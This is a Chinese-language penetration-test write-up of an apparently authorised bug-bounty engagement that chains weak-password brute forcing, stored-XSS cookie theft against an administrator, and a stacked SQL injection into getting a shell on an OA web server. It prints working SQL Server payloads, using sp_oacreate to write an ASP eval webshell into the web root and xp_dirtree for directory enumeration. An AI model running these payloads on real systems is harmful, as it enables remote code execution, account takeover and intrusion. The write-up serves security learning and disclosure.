记录一次实战GetShell

一、文章前言

　本文为记录实战过程中遇到的问题及思考，旨在思路分享及自我总结。文中涉及目标站点为SRC授权站点，为防止漏打码已对实际链接进行了部分删减，如去除了链接目录名等。整个测试过程涉及未授权访问、暴力破解、存储型XSS、SQL注入，到最后拿shell，过程略微曲折。

　PS：截至投稿前，已将漏洞提交厂商并验证其已完成修复。

二、信息收集

　打开目标站点，为系统登录界面。安装VNC远程协助链接到内网地址，经测试登录无验证码及失败次数锁定，可尝试暴力破解，此处先做信息收集。

　目标站点：http://1.2.3.4/login.aspx

　脚本：aspx,通过登录页面可知；

　服务器：IIS7.5，通过404、403报错页面可得；

　数据库：可能为SQL Server，常见组合；

　安全防护：未知，对IP进行端口扫描会封一段时间，但测试and 1=1不拦，无WAF或未开启严格的防护策略；

　通过查看返回包，发现Server为nginx/1.17.2，判断应该存在反向代理。

三、暴力破解

　通过对现有信息的分析，优先选择暴力破解，系统首页登录为密码md5前端加密后传输，此处爆破需选择burp的HASH-MD5后进行爆破。

　系统登录失败返回信息都为“登录失败xxx”，无法确认是否存在用户。

　查看页面源码发现存在http://1.2.3.4/client/

　此页面未对密码进行md5加密，即

　首页：http://1.2.3.4/ 密码加密后传输

　Client：http://1.2.3.4/client/ 密码明文传输

　此处用http://1.2.3.4/client/ 进行爆破，不需要进行MD5加密可提高效率，但使用name500及自定义字典，包括常见测试账号，及3位数字，4位数字，5位数字等组成5000多个用户名，爆破密码123456、888888、111111，结果一个都没爆破到。

　当时的思路是先确定用户名，例如工号等，再去爆破其中存在弱口令的账号，并未想着直接爆破admin，因为那时觉得后台可能不在这里登录，现在想想也可以直接盲爆admin用户。

　所以那时先收集用户名，使用Google语法，Site：xxx 工号，但并没有收获。针对只有登录界面的系统，只有掌握了用户名的规律，才能提高爆破的机率，此处很有可能是工号。用户名收集无果，便打开了目录扫描，看看有无敏感信息。

四、未授权访问

　通过对站点进行目录扫描，存在以下目录及文件。

　逐一进行访问：

　css.aspx访问弹出登陆超时，跳转登陆界面，禁用js访问空白；

　reg.aspx访问为软件注册页面；

　main.aspx访问弹登陆超时，跳转登陆界面，禁用js返回页面如下：

　查看源码，发现存在main_d.aspx如下：

　禁用js访问main_d.aspx返回以下页面：

　继续查看源码，发现以下地址。

　禁用js访问http://1.2.3.4/MyWork/Richeng...

　点击修改，此处已测试id不存在SQL注入。

　该页面存在大量附件，其中有体检附件登记表，点击下载链接如下：

　点击下载跳转登陆界面

　此处感觉是有任意文件下载，但可能需要登录，后续爆破出账户后可测试。

　http://1.2.3.4/file_down.aspx...

　需下载文件，尝试构造http://1.2.3.4/file/liaotian/...

　如上获取到该单位的员工工号，使用excel生成工号列表进行暴力破解。

五、登录系统

　上述已获取工号组合，生成01111-05555进行爆破，使用密码123456、111111、888888、123qwe、qwe123、123123、123321。

　当使用密码123321时，成功爆破出一个弱口令用户。

　使用该账号登录系统

　系统功能模块较多，测试前面的文件下载

　http://1.2.3.4/file_down.aspx...

　尝试下载web.config

　http://1.2.3.4/file_down.aspx...

　测试不存在任意文件下载，修改文件后是直接Location到文件,从而下载，

　后续对系统的功能点逐个进行测试。

六、文件上传

　后台功能主要存在以下4个上传点。

　上传点1-印章上传：

　上传点2-邮件附件：

　上传点3-头像上传：

　上传点4：KindEditor 4.1.10 编辑器，貌似无解。

　上传点1，文件上传后的路径为：/seal/2021815238.png

　此目录未限制禁止脚本执行，但无法上传脚本文件，尝试绕过均失败。

　上传点2，文件上传后的路径为:/file/emailfile/2021081523.png

　此目录限制了脚本执行，即/file目录下不能执行脚本文件。

　此上传点可上传aspx等文件，但上传后后缀为.unknow

　后续通过注入点发现上传后缀写在数据库中，可以通过update语句增加后缀，但并无跨目录的方法，即使上传了aspx脚本文件，也无法执行。

　上传文件后截图如下：

　后续查看数据库，允许上传的文件后缀如下：

　上传点3，任意文件上传，上传后路径为/SystemManage/User/file/ 下

　测试目录限制脚本执行，无法跨目录。

七、存储型XSS

　上面针对后台上传功能测试后无法上传getshell，便考虑是否能找到高权限账号，管理员账号可能有修改上传文件格式的权限。

　此时测试邮件存在存储型XSS，发送邮件可以打用户cookie。

　发送邮件给自己，收件箱打开时：

　可以给管理员发送带XSS的邮件，当管理员打开邮件时，即可以获取管理员的cookie，此处配合server酱，可实现获取cookie后微信提醒通知，同样发送邮件给自己测试。

　编写邮件，插入XSS平台payload。

　收件箱点开后

　微信收到Server酱通知

　登录XSS平台查看，成功获取用户cookie信息

　此处构造好XSS后，给管理员发送了标题为【问题建议】的邮件，增加管理员打开的概率，即打开邮件可获取管理员的cookie。

　同时在邮件选择收件人处，发现组织架构处，可列举所有用户的工号、科室、姓名信息。

　故可以收集用户工号，此处发现管理员即为admin，在等待xss的同时，也构造字典对admin进行爆破。

　然后竟然成功爆破出了admin的密码，看了下密码在“全国弱口令TOP1000”中没有，如果一开始就爆破admin，可能也爆不出来，个人习惯是爆TOP1000，当初也确定不了管理员就是admin。

　此处也说明有一个强字典是多么的重要。

　使用admin登录系统后，只多了以下两个功能模块，很失望并没有可以修改上传设置的功能。

　测试发现登录管理员也并没啥用，还是无法getshell，既然上传无门，那就寻找注入点，如果是sa的注入点则getshell的机率大很多。

八、SQL注入

　于是又重新回到后台各个功能点进行测试，经过一番测试终于发现了一个注入点，链接如下：

　测试1=1页面正常

　测试1=2页面异常

　爆数据库版本信息

　如上确认存在SQL注入，使用sqlmap进行利用，当前用户为SA。

　测试使用—os-shell命令失败，可能是有安全设备拦截。

　此时也对数据库的大致表进行查看，发现了管理后台某个点的文件上传格式可在数据库设置后缀，但无法跨目录，故即使能上传脚本也无法getshell。

九、GetShell

　经手工测试注入点支持堆叠注入，此处尝试使用sp_oacreate写马，SQL如下:

　declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'

　但需知道网站根目录，此处可以使用xp_dirtree进行目录遍历，SQL如下：

　create table dirs(subdirectory varchar(255),depth int, filee int);

　insert dirs exec xp_dirtree 'c:\',1,1

　建立表后，先执行以下查询，此处为查询c盘目录下的文件夹及文件：

　http://1.2.3.4/WorkFlow/AddWo...,&FlowNumber=20189139012187';insert dirs exec xp_dirtree 'c:\',1,1;--&FormId=86&Number=202181414

　页面返回正常，则语句执行成功，再去sqlmap查询dirs表下的内容，即为c盘的目录内容：

　利用上述方式成功找到网站根目录为d:\OA\ 下。

　执行SQL语句写入文件shell.asp

　declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'d:\OA\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'

　打开链接：http://1.2.3.4/shell.asp 空白，中国菜刀连接成功。

　上传冰蝎，后续可以进行socks代理，从而进入内网。

　通过systeminfo收集系统信息，可用于后续提权。

　以上成功获得目标站点shell。

十、总结

　渗透测试很多时候需要的细心和耐心再加上一点运气，当我们在后台无法getshell时，可以尝试去找后台的SQL注入，高权限的注入点可以直接写shell。 又或者当我们有一个SQL注入点却没法写shell时，可以尝试读管理员账号密码，登录后台测试是否有文件上传漏洞，从而进行拿shell。关注不同的漏洞危害，并进行组合利用，往往可以达到出其不意的效果。

　至此全篇完，感谢阅读，希望您能从中有所收获。

　更多网安技能的在线实操练习，请点击这里>>
　更多网安工具及学习资料，扫码免费领：